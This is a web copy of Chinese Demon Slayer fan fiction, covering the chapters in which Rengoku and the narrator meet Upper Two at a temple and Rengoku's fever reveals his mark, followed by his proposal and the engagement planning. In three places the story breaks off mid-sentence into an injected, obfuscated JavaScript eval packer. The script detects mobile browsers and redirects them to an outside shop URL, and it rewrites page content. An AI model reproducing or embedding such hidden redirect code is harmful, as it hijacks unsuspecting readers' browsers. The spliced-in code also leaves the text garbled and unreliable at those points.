那边杏寿郎忙拉住我,紧张地想堵住我的话头:“别胡说!实在抱歉,家里对她宠溺无度,才叫她养成了这么胡言乱语的性格……” 被这么一插科打诨,气氛也就从严肃认真转而诙谐起来,僧侣并不见怪地摇摇头,他沉默着打量了我们一番——不知为何我总觉得他的视线着重掠过我的脸——思忖片刻后才对我们稍微打开了些话匣子:“并非小僧不愿向两位提及,实在是我们信仰的宗教发展简单不值一提。” “不过,”他口风一转,又笑道,“如果一条小姐很感兴趣,小僧也可介绍一二。” 他就又说了些资料上都有的话,像是同一套话术搬来搬去,也没什么新鲜东西。但是我们到底此刻正身处在这个宗教的据点里,我很感兴趣地就着寺庙里的设施问了些问题,还表现出对他口中教祖大人非常感兴趣的样子。 “真的这么厉害吗!”我无比惊诧,“我从前在欧洲的时候有幸见过一次基督教的主教大人,和他说过几句话,可也就是听着比寻常人睿智了些,但也没有到能为人开悟的程度。” “不过倒是花了我不少钱。”我没什么好气。 这个话题倒是正中靶心,万世极乐教的每一个成员果不其然都是那位教祖大人的忠实拥趸,忠实到了无脑的程度,顺着话语吹捧几句就能让他们轻飘飘地飞离地面。这个僧侣也不例外,便开始和我弘扬教祖大人的伟力。 我当然十分捧场,财大气粗地开始到处找功德箱并且连着塞进好多张大额纸币,立刻变成一个若能与教祖大人见一面,叫我花多少钱都可以的小白痴。 不过答案当然是不行。 原因是教祖大人平常不对外接见非教徒,且万世极乐教的集会定期开展,今天并不是时候。 我想,更多的原因应该是他们这位教祖大人白天的时候根本见不了人吧。 摆出一副无比失落的样子,我可惜得双眼通红,杏寿郎轻声安慰了我很久,得到寺庙之内都可参观的答复,我才调整过来。 “不过后院是僧人日常起居的场所,不接待游客,两位还是不要靠近了。”僧人平静地回答。 我自然满口答应。告别僧人后,转头就找到一个周围无人的时机和杏寿郎悄悄摸进后院。 说是后院,其实也没有栏杆或篱笆隔断,而是寺庙后半的位置,建筑并非殿宇形制,整个处于背阴处,门窗紧闭。因着并无人影,几乎寂静无声,连鸟雀都不见飞来一只。 我们停在距离建筑不远不近的位置,再多迈出几步就能落进阳光之下。 我看向杏寿郎,他摇摇头,但往前迈出半步,恰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613453|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好挡在我身前。日轮刀被从羽织之下取出,他全神贯注握住刀柄。 气息就在这一瞬间变了,他拔出日轮刀,斗气燃烧着,我能感受到周围空气流动的凝滞,风正被卷向杏寿郎的位置。 “好美丽的女子,如此纯洁。” 一个温柔到发腻的声音突然出现,它是炸破气氛的破冰者,但带来的更多是极端恐惧。只因这声音似是在我的脑海中响起。我感觉到身体僵硬,几乎不能动弹。 “为什么这么美丽的小姐,会和一个鬼杀队的成员走在一起呢?”他尾音不解地下垂,听着竟然有些委屈,但很快又兴奋地上扬,“不是普通的鬼杀队成员……你是柱!” 肯定自己的猜测后他忽然泄露了笑意,无形的压力在这句兴致盎然的话出现时同步铺开,潮水般涌来。那种气息与杏寿郎的不同,是阴湿黏腻、充满危险的,它不是直白的,而是暗藏杀机。 冰冷刺骨。 我咬了下舌尖。 剧痛将泪水立刻逼上我的眼眶,泪眼蒙眬中我重新掌握身体的意志,哪怕仅是短暂的几秒,也足够在杏寿郎护住我前拿出手枪。 不知道声音的主人藏身何处,我闭上眼,心中默念祖母,希望好运能与我同在。睁开眼的瞬间,我顺应着直觉立刻扣下扳机——嘭!子弹钻进一扇窗户,梆地击中了什么,东西碎了一地。仿佛是一件瓷器。但接着又有什么重物摔落,咕咚咕咚滚了两圈。 “真是没礼貌的小姐呢,把我的装饰品都弄坏了呀。”那毫无负担、轻浮得有些夸张的声音明明并无不满,且还带着笑意,却让人无端感受到危险。 “不过没关系,对美丽的女士,我们总是更宽容。” 话音刚落,在我们毫无防备之时,那间房间竟然猛地飞出几朵冰雕般的莲花! 剔透的冰莲在天光下美得如梦似幻,然而那一瓣瓣的花瓣,与花朵正中那含苞的花蕊,处处都精致到栩栩如生。 可彻骨的寒意在这瞬间又一次占据我的全部神思,我仿佛回到了昨夜,危机感正在我后颈爆炸般跳动,叫我毛骨悚然。我想开口叫杏寿郎的名字,却发现声音在这威压之下甚至传不出咽喉。 杏寿郎毫不犹豫,身形快得如影子晃动,日轮刀灿白的刀影在空中旋转,火光从刀尖蔓延,赤红的火焰几乎燃烧了我眼前能视的全部,以杏寿郎自身为中心,堪称瞬发的“蜿蜒的盛炎”构筑出燃烧的旋涡,瞬间消弭了出现的冰莲。 他揽住我的腰,在轻身跳上寺院的围墙时以“不知火”为后招,劈向身前。 我打了个寒战。 没人追出…… 但我们都不认为这是结束。比起无限列车那时,杏寿郎身上的斗气愈发凝练,甚至逐渐达到内收,说得上今时不同往日,但他竟能在转瞬间压制住杏寿郎的气息,无声无息地向我们发动攻击。那座寺庙里藏着的……是一个能够比肩上弦之三,甚至可能比他更强大的鬼。 这是一个非常重要的情报,鎹鸦带着消息飞往鬼杀队。 肖恩他们去确认完毕后为我们在旅馆退了房,将车停在不远处等待我们的消息。看到我苍白的脸色时两人俱是吓了一跳,急忙问我发生了什么。我无力地摆摆手,让他们快开车。 车内摆放的紫藤花香缓缓平静下我的心神。 但我有了说不出口的发现,正压抑在内心深处。就在杏寿郎带着我离开的那个瞬间……我竟然从子弹射出屋内的那个枪眼里瞥到屋内——昏暗的室内,白发的男人正站在窗边,一只流光溢彩的七彩虹眸正中,“上弦”二字正对我无声地打着招呼。 我想起胡蝶忍口中那个鬼、那个由濒死的姐姐转述的鬼的样子——白发、彩色的眼瞳、僧侣的打扮、玩世不恭的笑容与故作温柔的音调、上弦之二。这一切无不昭彰着方才躲藏在寺庙中的鬼正是它!数年前残忍的杀害了花柱的鬼……它是比猗窝座还要强大的鬼,隐藏起气息后哪怕杏寿郎也无法主动发觉它的存在,他的血鬼术与冰有关,那晶莹剔透的冰结成莲花的形状却带着叫人胆战的血气。 我用力闭上眼,仍觉得这幕场景就像一个梦一样突然。 怔神时,杏寿郎忽然有些昏沉地靠到我肩上。他从不晕车,我不由伸手去触摸他的额头,意外发现烫得不得了。 ——他发烧了。 56. 不可得 说来奇怪,杏寿郎的发烧症状很有些不同寻常。 发烧总要有诱因,但杏寿郎很健康,没有伤风感冒的情况,偏偏他的体温升得很快,用手去触碰额头时能轻易摸出差距,脸上也已经因为高温晕染出些许红。我喂他喝了些水,杏寿郎虽然意识还清醒,但发烧到底影响了知觉,他难得脆弱地靠在我肩头,手抖了下,水液倾斜,在他衣领上沾湿半寸。解开一颗纽扣,我帮着擦去湿润,却意外发现了他胸口处似乎有一片奇怪的红痕。 “这是什么?”我下意识以为是瘀痕,小心翼翼地伸手去触碰。但指腹划过那块皮肤,并没有异样触感,杏寿郎也浑然未觉。 “怎么了?”他茫然地低下头。 他没看清,我就又解开了一枚扣子,而那鲜红的纹路蔓延在衣物遮盖的皮肤上,往深处去了。我向他描述痕迹的样子,这让我想起在刀匠村无一郎迎战玉壶的时候面颊上同样出现的纹路,似乎有着异曲同工之处。 杏寿郎没说话,但从他的表情中我看出来他显然知道什么,也清楚自己身体的变化,只是向我隐瞒。他最终握住我按在他胸口处的手,低低地笑起来:“没事的,朝和,不用担心。” 或许在炎柱千百年的流传中,那是对鬼杀队的剑士而言不算秘密的信息,我虽有心探究,但也没有追问。该说的时候,杏寿郎就会告诉我了。 等我们到达鬼杀队驻地的时候,杏寿郎的体温还是没有降。 忍已经回到蝶屋了。 刀匠村的医疗条件不比蝶屋,一些重伤的人员以及炭治郎最后都回到蝶屋进行治疗。听说炭治郎到现在都还在昏睡,但他的伤愈合得越来越快,修复的速度已经接近柱们——无一郎和蜜璃都是只休养了三两天就彻底痊愈了。我自然为这恢复速度感到惊讶,不知为何心里又隐隐升腾起一种担忧:过快的恢复速度是否提前透支了他们的身体机能?会不会影响到未来?一想到这个,我就不免担心,让桥下先生替我送了许多针对性的恢复药品来,afterlife在这段时间里依旧在进行配方升级,虽然提取的剂量依然有限,但已经不再是到达紧要关头才能使用的珍贵药品。休养期间一人一支,正好填补了我对大家的忧虑。 也是到达鬼杀队之后我才得知主公已经下达命令,使鬼杀队进入紧急备战状态。原因或许是刀匠村遇袭,也或许是因为祢豆子的出现,我想两者都有。外祖父得到主公允许后原本派遣了人员去协助修复刀匠村,但祢豆子的出现立刻改变了主公的想法,最后他决定搬迁刀匠村。在这千年岁月里,为了应对刀匠村遇袭这一情况,鬼杀队在山中修建了数座无人村落作为备用。于是修复工作变成搬迁。 产屋敷家对于灭鬼这项事业的决心简直让人叹为观止,无论是人力物力还是精力的投入,在岁月流逝中构筑成崭新的方向。 忍为杏寿郎测量过体温后进行了病情记录,这算是相当罕见的情况,因为按照柱的身体素质,寻常的热伤风显然不需要特别病历。我疑惑地问出口,忍从边上取出两张纸,与杏寿郎的并排在一起向我说明道:“不知道为什么……在刀匠村的时候蜜璃和时透君也发烧了。而且温度都是39℃。总觉得有些不寻常,所以做了记录。” 咦? 我下意识看向一定知道什么的杏寿郎,他保持着一贯爽朗的表情,让人看不出丝毫破绽。注意到我的视线,他微微侧目看向我,赤金色的眼里水光润泽,倒露出一点脆弱。我晃晃脑袋,大概是烧迷糊了。 “别担心,胡蝶,这件事过两天柱合会议主公会说起的。”杏寿郎朗声宽慰了忍的不解,正好小葵端了煮好的退烧药进来。黑乎乎的药汤还冒着热气,但杏寿郎就跟感觉不到似的端起一饮而尽。 忍冲我看了看。 我带着杏寿郎走进忍在蝶屋为我准备的客房,想让杏寿郎睡一觉再休息一下。 他没拒绝,当然,他拒绝我也不会受理。于是自觉地脱下羽织和鬼杀队板正的外套,老实躺进被窝里。我半趴在床褥边,伸手整理他的鬓发时顺便摸了摸他的额头测试体温,还是很烫,药效还没发挥。 杏寿郎闭上眼睛准备睡觉的样子看着好乖,不像平日里那么开朗,收敛了些许亲和,但他五官的锐利天生带着一种距离感。为了躺下时身体不那么板正而解开的衬衫纽扣松垮地露出他的锁骨,那段凌厉分明的线条随着他的呼吸自然起伏。不知为何就是吸引住我的视线,让我忍不住盯着瞧了片刻。 目光顺着往里探了些——我绝不是故意的!我真的不是故意的!杏寿郎的身体我早前就看过了,一起泡温泉的时候也看过了——那红色的纹路依然存在着,鲜红无比且张牙舞爪地长着。究竟是什么?求知欲在某个瞬间控制了我的大脑,催促着我解开他的衣裳再去看看……就看一眼而已,没关系的有栖川朝和,你只是担心他…… 然而我罪恶的手还没伸到杏寿郎领口那儿,内心咆哮的邪恶欲望更是尚在喧哗的阶段,鬼杀队的炎柱大人、炼狱杏寿郎就已经轻而易举地抓住了我的手制止了全部动作。 我有些尴尬地看向他,他睁开了一只眼看我,眼中含着略显促狭的笑意。 “干什么……”我当机立断选择倒打一耙,“还不睡觉!”头歪过去轻轻顶他的脑袋,用控诉的语气警告他:“不怕烧死你!” 他轻轻笑了声。 我这下也感觉到自己这句话的不合时宜,他是炎柱啊,向来只有他用日轮刀上跳动的火焰烧别人,哪会烧到自己。 正当我想再说些什么来补救,杏寿郎已经用手臂微微支起身体坐起来,他把我拉近了些,手腕上传来的力量很好地显示出我们的差距,我几乎不能反抗地摔进他怀里。我当然吓了一跳,抬起脸紧紧盯着他,他“唔”了声,善解人意极了:“朝和是想看我的斑纹吗?” 斑纹? 那个红色的痕迹原来是叫斑纹吗? 我还想再问些关于斑纹的事,然而杏寿郎却没给我说话的机会。他拽着我躺下去,将被子遮拢了些,现在的情形就像我压在他身上,但我们又都躲在被子里。光线昏暗下来,气息也变得略微沉重,空气在刹那间焦灼,我像是忘了呼吸,又觉得自己呼吸声很重,恍惚中才反应过来是杏寿郎的心跳。他心跳得好快好快。 “我给你看——”他几乎是有求必应地单手解开了衬衫扣子。 被他拽着的手不知为何指尖微微发凉,我甚至快觉得自己要发抖了,热气直冲向我的大脑,连视线都被刺激得模糊。 他!他他他…… 我又想闭眼,又想看个清楚。纠结中杏寿郎解开衣扣的那只手最终落在我肩头,他炽热的掌心隔着我的衣裳穿透过来,熨帖着我的身体,我真的颤抖起来,从杏寿郎身上传递过来的热意已经占据我的脸颊和耳垂。我睁开眼,看见他肌肉分明的胸口状似盛放般燎灼着一朵鲜红的火焰。 不知道是巧合还是意外,那斑纹的形状的确是一捧火焰。根源处正是他先前受伤的位置,仿佛从斑驳的疤痕中生长出,攀过心房,向着他的咽喉冲去。此刻在被子里,这朵火焰正随着他的呼吸熊熊燃烧。我情不自禁伸手去触摸……火焰的尺寸比我的手掌大上不少,我的手温比杏寿郎的体温要低一些,肌肤相贴时他胸口的肌肉条件反射般紧了紧。 分不清是谁的呼吸或者吞咽。 也许只是被子里太闷了。 但杏寿郎原本搭在我肩头的手逐渐按到我腰间,而我趴在他怀里,手下是火焰般的斑纹和他激烈跳动的心脏。在交换气息时我都怀疑他可能会昏迷过去。总之说不清纠缠和分开,我脑袋里一片混沌,完全忘了是怎么开始的,只是意识回笼,理智悄悄冒头时我终于想起来应该拒绝。用了些力想拉开我们之间的距离,但优秀的战士对待唾手可得的猎物从来穷追不舍,杏寿郎追着我的呼吸,黏黏糊糊地又咬上我的唇肉。我难以忍耐地泄出泣音,迷蒙地睁开眼想要看清杏寿郎,而他闭着眼。 原本抓着我手腕的那只手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我应该早点告诉你的,是不是?我不应该隐藏、不应该让你猜测,但在我意识到的时候,它已经失控了。”爱情对他而言像是脱轨的列车。他知道自己不可能做到十全十美,但还是竭尽全力想要把它变得圆满。无论何时何地,无论他做什么,他唯一不想要的就是伤害她。 “那天你说的话……” 我又开始脸红了。我想到那个仓皇而混乱的早晨,大惊大喜之下我语言功能与思考能力的失序曾造成短暂的不匹配。 但那的确是我的真心话。虽然是冲动之下说出口的,却代表我真正想要的未来。 我想要和他携手共度从此之后的无限未来。 “你想做的每一件事,都很有趣,而关于你描述的那个未来……我也想要参与。所以,可不可以给我一个机会,让我用未来的所有时间,陪伴你、照顾你,和你做每一件你想做的事。”他声音低沉,带着某种笃定的决心,从口袋中摸出了什么,再郑重地举到我面前——那是一枚戒指,款式很简单的戒指,上面还留着不少锤打后凹凸不平的痕迹,却泛滥出独属于炎柱的赤红色。我感到莫名的熟悉,已经快要停止思考的大脑里却偏偏跳出在刀匠村时杏寿郎偶尔独自前往锻刀工坊,回来时他总是一副大汗淋漓的样子,却从不邀请我去看看他锻造中的日轮刀。原来是因为这个,他早就在准备这个——“请嫁给我吧,朝和。”他这么说道。 世界在这一秒归于寂静,仿佛被按下暂停键,除了我扑通扑通的心跳声吵得不行。但很快色彩和声音都重新回来了,比任何回应来得都快的是眼泪,我来不及因为惊讶而捂住双唇就要去擦拭眼泪。最终在杏寿郎微笑的注视中,我胡乱地点头,将手伸去。 “我愿意!” 杏寿郎动作缓慢且无比小心翼翼,就像在对待什么易碎的稀世宝物,他眼中的珍视多得要溢出来,为我戴上那枚严丝合缝的戒指。他靠过来,我们额头相抵,明明应该笑的,我却收不住泪水。杏寿郎收紧了怀抱,我也用力抱住他,世界是紧贴着的我们,只剩下我们。 无论未来是什么样的,只要有杏寿郎在,我都期待。 57. 姻缘 第二天早上我们就离开了蝶屋。 杏寿郎有一些事务要同主公大人汇报,于是先行去了产屋敷宅邸。我在蝶屋等待的时候听忍说起了最近鬼杀队的安排,比起从前变得无比紧张的气氛果然不是我的错觉,就连蝶屋附近都多了不少警戒人员。似乎是为了防备鬼们会对弥豆子进行突然袭击而做出的应对。 阳光普照下蝶屋的庭院里充满欢声笑语,再一次能够自然无害地站在阳光之下的弥豆子正和蝶屋的孩子们游玩,只是看着她们的笑脸就让人有种感觉到幸福。一想到鬼会破坏这份来之不易的安宁,愤怒就会像要摧毁理智般燃烧。 “不死川先生和伊黑先生去探查追踪到的一个鬼的据点了。”忍手上调配药物的动作不停,一边说起其他几位柱大人的动向。虽然鬼杀队一直以灭除恶鬼为己任,但是千年来鬼的踪迹实在难寻,大多时候鬼杀队都是以巡逻为主,在辖区内发现鬼后才会出动,很少会主动寻找鬼的踪迹。如今派遣了两位柱大人前去追踪,颇有一种想要调转形势的紧急感。 弥豆子的变化毫无疑问是打破僵局的转机。 但鬼杀队长年以来一直处在明处,一举一动皆在阳光之下,而那些恶鬼们则隐藏在深晦,即使我们竭尽全力去寻找那些潜伏的罪恶,也难以防备来源于鬼的阴险偷袭。时间已经很紧迫了,但是要做的事还有很多很多。 我忽然感觉到脑海里的思想如同一团乱麻,繁冗的东西太多,已经重重堆积起来,让我对于外界的改变都感受得缓慢。一边想着自己究竟还能做些什么来支持大家,一边顺手端起忍先前放在我手边的碗。瓷白的碗里盛着深色的液体,这会儿已经放凉了,闻不出什么味道,我也就没有注意,闭眼一口喝下……一股浓烈的苦味在瞬间钻上大脑,在我神经上疯狂跳跃。吞咽的速度太快,我甚至还没反应过来,就已经把那满口的苦药咽进肚子。 被这激烈的味道冲击得泪水都要溢出眼眶,我忍不住捂住嘴,又想遮住脸,正不知所措时抬眼瞧见忍正观察着我。 “忍!”我忍不住抱怨地开口,忍扑哧笑出了声,指了指还没喝尽的碗,“这是我最近改良的药,对伤患的效果很不错,药性比较温和,日常也可以作为补剂来喝。” 我看看这碗苦口良药,欲哭无泪,只能在忍的注视下捏着鼻子喝完了。 胡蝶忍满意地从我手里接过碗,她本想说些什么,但似乎发现了什么被转移了注意力,“咦……”她不可思议地问道,“这是?” 我顺着她的视线看去。 啊! 她说的是我手指上熠熠闪光的戒指。 被发现得突如其来,我不由蜷缩手指,想要将手藏起来——虽然并没有打算隐藏求婚这一事实,但毕竟先前没有任何相关信息泄露过,这会儿让我自己亲口谈起,总是不免感到羞涩——我和忍对上视线,她迷蒙如雾的紫色眼眸中是清晰可辨的惊喜,连声音都听得出来:“朝和!” 我用力点点头,“嗯!杏寿郎和我求婚了!” 忍向来是含蓄而不外露的,无论是喜悦还是愤怒,在她封印这仇恨的心里都只是微风拂过河面,留下浅浅的波纹,且很快就会平息。但现在她为我而感到喜悦的情绪是如此鲜明,她握住我的手,我甚至能感觉到从她那里传来的些许颤抖,“太好了,朝和!恭喜你!恭喜你们!” 幸福是很难描述、很难捕捉,也无法共感的东西,它用表象的存在描述复杂的内核,但无可怀疑的是,这种情绪会在我们之间传递。它永远不会被抹杀。 我反握住忍的手。 我希望的是,大家都能得到幸福,幸福地生活下去。 这个未来里,不能只有我和杏寿郎,而应该大家都在。 决心轻而易举地拨开笼罩的迷雾,让一切逐渐清晰,我登时感到知觉清明,要做的事也变得条理清晰,一件一件自然排列下去。我看向手指上那枚在光线下微微泛红的戒指,仿佛自己的全部都被那一圈灼热绑缚,但那不是桎梏,而是对彼此宣告的誓言。直到离开蝶屋,手被杏寿郎牵住。他的表情还是很平静,但偶尔无意识地皱起眉。 “怎么了吗?”我问道。 从沉思中抽回意识,杏寿郎沉吟片刻,不太确定地说道:“主公大人的身体似乎又不太好了,刚刚接待我的是天音夫人。” “怎么会……”主公大人的身体在前段时间就一直不佳,父亲甚至专门从国外请了医生来为主公大人看诊,但无论是日本的传统大夫还是善用科技的西医,对于主公大人的病情都报以悲观态度。就在大家一筹莫展的时候,主公大人的身体忽然毫无征兆地又恢复了些,也能处理鬼杀队的事务,大家也就以为是好转了。可现在……我有些担忧。 在忍的说明中我知道了产屋敷家代代相传的短寿并不算是一种真正的疾病 ,而是一种诅咒,一种来源自鬼舞辻无惨的诅咒。因此药石无医,大家只能眼睁睁地看着主公大人日渐衰弱。也正是因为这个,譬如来世这样的特效药对于主公的身体也没有任何效果,反而可能会给主公的身体加大负担。 想到这里我的心情有些低落,杏寿郎注意到我的情绪变化,抬手摸了摸我的发顶,温声道:“不过我和主公与夫人说了求婚的事,他们很高兴。等订婚事宜完毕后,我们再一起来拜会主公与夫人吧?” “嗯!”我看向他,笑着应声。这个男人的未来规划中有我的存在,他所做的每一件事都安排了我的位置。对我来说他也是同样的。和爱的人在一起,得到大家的祝福,这就是开启我们人生新阶段的钥匙。 杏寿郎把我送上车,他没跟我一起离开,而是独自回炼狱家,准备和槙寿郎伯父商量前来有栖川家拜访的事宜。求婚是我们两人之间的事,但订婚却是两个家族的事。虽然在我的印象中父母的爱情开始得相当突然,且当时西洋风气流入,父母并没有完全遵守日本的传统订婚风俗,在我们家的确也不大流行这一套。但杏寿郎还是坚持要按照习俗的要求将每一步礼仪都做到,在他看来这样才会得到缘结神的祝福。从不相信神明的人因此想要得到神明的祝福,我还能说出什么推拒的话呢?当然是欣然接受。 我们正式在一起后,杏寿郎曾经带着槙寿郎伯父来正式拜访过。 文明开化的日本日新月异,但在很多事上还留有旧貌。从前一男一女的相恋必然伴随着婚姻与繁衍这两个重要话题,虽然现今自由恋爱的风气已经在这个国度蔓延,但频繁地恋爱依旧被视为是一种不尊重。尤其那个人是炼狱杏寿郎,你没办法想象他做出将未来当作玩闹的事件,他也的确不会那样做。他清晰地规划着自己的人生,知道自己要做什么、知道自己想要什么。从一开始,他就想好了和我的结局。 我回家提前知会了父母与外祖父杏寿郎向我求婚的事宜。忽略了一些无伤大雅的小细节,我们之间的故事显得那么波澜起伏,像极了在遇到鬼的最终决战前不愿给生命留下什么遗憾。父亲瞪大了眼睛,我原以为他会说些什么近似浪漫小说里摘取出来的台词,却不料他显得有些不满。 天哪!这是来到日本后我第一次看到兰德先生这么不开心。 对比起外祖父的坦然和母亲的喜悦,父亲简直格格不入到了极点。 “怎么了,爸爸?” 从前提起杏寿郎的时候父亲都对他赞赏有加,认为他是一个品性能力都俱佳的人。在知道我和他开始恋爱之后,父亲还鼓着掌夸赞过。怎么到了今天,反而……我不解地看向他,眨眨眼,想要寻得一个答案。 母亲伸手挽住父亲,也跟着问道:“亲爱的,你在想什么?” 父亲皱着眉,他欲言又止,这一点儿也不像他。“那个……”说话间眼神瞥向外祖父,但外祖父显然也没能了解到父亲的心思,转而也露出疑惑的神情。我正想追问,门房却在这时进来送上来自炼狱家的拜帖。精致的纸页,端正的字迹,清晰说明了将会前来的时间,又附上精心挑选的礼物。外祖父看完后点点头表达了对周到礼数的满意,母亲则盘算着日期,着急地起身找管家提前做起准备,又叫我去挑挑花纹样式,准备再给我做两身正式些的新衣裳。 一切打断了父亲说话的时机。 我跟着母亲走出和室时想起父亲的神色,再回头看去时,他正端详着那封拜帖,注意到我的视线,对我露出一个依然温文尔雅的笑容。已经看不出丝毫的情绪。 我便把这疑心埋回心底。 新的和服依然是找高桥小姐家定制的。等炼狱家前来拜访后,两家便会定下订婚的日期,一般都是就近择日,不会拖得太久,正式的婚礼则后面再行挑选吉日。时间说得上仓促,很多东西可以临时准备,衣裳的料子却很难,我之前见过母亲只有在极为正式和重要的场合才会穿着的和服礼服大振袖,上面有满幅的绘羽纹样和完整的五枚家纹,听说这得花上三个心灵手巧的绣娘专心致志的三个月时间才能完成。而我回到日本后,因为偏爱西洋穿着,再加上确实没有什么重要的事发生,家里也就一直没有为我安排大振袖的制作。到了这会儿突然需要,就显得尤为焦急。最后考虑到是在订婚仪式穿,母亲为我选了中振袖。 高桥小姐因此得知了我将要订婚的消息。 我去高桥家的铺子里重新量取身体数据时,她很是震惊地向我求证。我含着笑告诉她这是真的。她张了张嘴,讷讷地沉默片刻,还是觉得不可置信。 “您的订婚对象,就是之前赏樱时来接您的那位先生吗?” 我点点头。鬼杀队很少直面人前,武士在当今的日本像一个故事,炼狱家在外的声名是以传承千百年的剑道传人的身份,不涉及政治与商业。无外乎高桥小姐不可置信,有栖川家在外祖父的经营下享誉东京都,我从前参加过许多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一番客套的寒暄过后,槙寿郎伯父率先提起了订婚的事宜。这件事其实没什么需要商讨的,已经在两家人中过了明面,只需要确定订婚日期,和一些事务安排就够了。至于婚礼什么的,总归不会放在最近举行——说实话,考虑到祢豆子的变化给鬼杀队带来的影响如此之大,在气氛逐渐严肃的最近,其实我本来都不打算举行过于隆重的订婚仪式,只想着两家人共同见证一番就罢了。但外祖父不同意,或许是他中国人的认知,人一生中最重要的大事无非这么几件,婚礼要隆重,订婚也不能马虎。 拗不过他,只能顺着外祖父的意。 订婚仪式的事务是由外祖父与槙寿郎伯父一样一样确认的,母亲也轻声提了些意见。这花了不少时间,之中长辈也问过我和杏寿郎的想法,仪式上要摆些什么花,餐点选些什么,需要邀请的客人名单,杏寿郎都以我的意见为主。我正盯着他发呆,忽然发觉大家的视线都集中在我的脸上,愣了愣,才反应过来交给母亲安排。 茶香缭绕中,将这件大事敲定,大家才又说起家常,间或夹杂着一些关于鬼杀队的安排。 这时,一直沉默着的父亲忽然开口:“杏寿郎,作为一个父亲,我有一些话想同你说。” 茶室里刹那间安静下来。 我想起那日父亲难言的怒意,心中忽然忧虑。究竟在忧虑什么?我也不知道。 杏寿郎身姿端正,看向父亲,认真地点头:“好的,伯父。您请说。” 父亲摇摇头,他的视线掠过我,与我四目相对,从那双碧绿的眼睛中我能看见的是一个父亲温柔的爱。对他的呼唤就这样卡在我喉间,让我发不出丝毫声音。他说:“我们出去说。” “亲爱的!”母亲下意识要拉住父亲的手,显然她也对父亲这会儿突如其来的举动毫不知情,慌张地想要制止父亲的举动。但父亲的决心是无可阻拦的,他轻拍母亲的手背作为安抚,对她轻轻摇摇头。 槙寿郎伯父正看向杏寿郎。 杏寿郎则看着我。他对我露出一个温柔的笑,平静地站起身,跟随父亲走了出去。 他们不知道去了哪里,挂在墙壁上的时钟嘀嗒嘀嗒走过,茶室内的气氛却无论如何也回不到方才的和谐,时间仿佛被无限拉长,我焦虑地摩挲着茶杯的外壁,明明只过去了几分钟,却像过了许久。终于我等待的耐心到了极限,蓦地站起身想要出去看看,槙寿郎伯父却叫住我:“没事的,朝和。不用担心。” 我想说些什么,至少找个像样点的理由搪塞。 但不等我开口,父亲和杏寿郎已经回来了。 父亲走在前头,一进来看见我站着,他就露出了然的表情:“看来我的宝贝这是等不及了?”我小心翼翼地打量两人的表情,都很轻松,看不出什么。只好嘴硬地回答父亲的调侃,说没有。父亲没有纠结,而是大方地放过了我,“亲爱的,不如带杏寿郎去看看我们家的花园吧?” 这正合我意。我快步走到杏寿郎身边,借着和服宽松的袖子悄悄去牵他的手,指尖才刚探过去,就已经被他牢牢抓在手心。想起同样正襟危坐地拘在茶室里的除了我们还有千寿郎,我开口询问他要不要一同去院子里逛逛。千寿郎听见我叫他,转过头看向我们,恰好瞧见我和杏寿郎牵着手,他的脸立刻红了,局促地猛摇头,惹得边上坐着的长辈一阵哄笑。 就连杏寿郎也低低地笑了。 58. 愿景 那一日双方家长见过面后,经过一番商谈,我和杏寿郎正式订婚的日子也就确定下来。 虽然考虑到鬼杀队现在日渐紧张的情势,身为柱的杏寿郎工作繁忙许多,订婚仪式的举行需要低调简单些,但在双方家长的统一认同下,该有的环节还是都得安排上。 炼狱家那边的邀请名录异常简单,杏寿郎只用半天就完成了。炼狱家族系并不算丰茂,原本往来的亲戚就少,名单上受邀的大多是朋友一类,且多在鬼杀队或藤之家,不然就是些知道内情的熟人。与我要邀请的朋友有了些许重叠,请柬上也就落款成我和杏寿郎两人的名字。 至于我这边,就费劲很多。虽然有栖川家子嗣也不多,分家人员也少,但是我与他们并不相熟,而生意上往来的朋友我更是完全不了解,这一块就都由外祖父去负责。除去这边,还有兰德家族那边——近两年我一直留在日本,不过父亲和母亲每年还是会在英国与日本之间往返以处理家族和生意上的事务——我毕竟是父亲唯一的孩子,我的婚事即使在英国也是许多人盯着瞧的一桩大生意,如今花落在日本,虽然绝了不少合伙人的心思,但家族那边还得邀请些亲朋来参与仪式。订婚自然不比正式婚礼,各方面都无需做得那么隆重,用不着大张旗鼓地邀请所有人来,父亲便只请了几位最亲近的亲人,和一些将要共同在日本开拓生意的合作商。 我自己也有不少事,鬼杀队的熟人都以我和杏寿郎两人的名义邀请了,但我还有不少自己的朋友,除了来到日本后认识的那些华族小姐们,还有协助鬼杀队而创建的药物研发组和武器研发组,虽然不用都邀请,但至少要给两位负责人送去请柬。 随着订婚事宜的推进,关于有栖川家小小姐订婚在即的消息也就传得到处都是了,有一回还上了东京都某家娱乐报的头条,那些闲着没事干的记者猜测着有栖川家小小姐未婚夫的真实身份,因为无人得知细节,用词夸张到我特意将报纸带去给杏寿郎同看了。 